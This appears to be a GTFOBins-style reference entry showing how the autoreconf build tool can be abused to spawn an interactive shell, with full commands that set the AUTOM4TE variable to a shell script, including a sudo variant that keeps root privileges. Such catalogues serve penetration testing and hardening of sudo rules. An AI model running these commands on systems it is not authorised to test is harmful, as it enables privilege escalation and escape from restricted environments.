autoreconf

Shell

This executable can spawn an interactive system shell.

CommentThe shell is invoked multiple times.
Unprivileged
This function can be performed by any unprivileged user.
```
echo '/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
echo AC_INIT >configure.ac
AUTOM4TE=/path/to/temp-file autoreconf
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
echo AC_INIT >configure.ac
AUTOM4TE=/path/to/temp-file autoreconf
```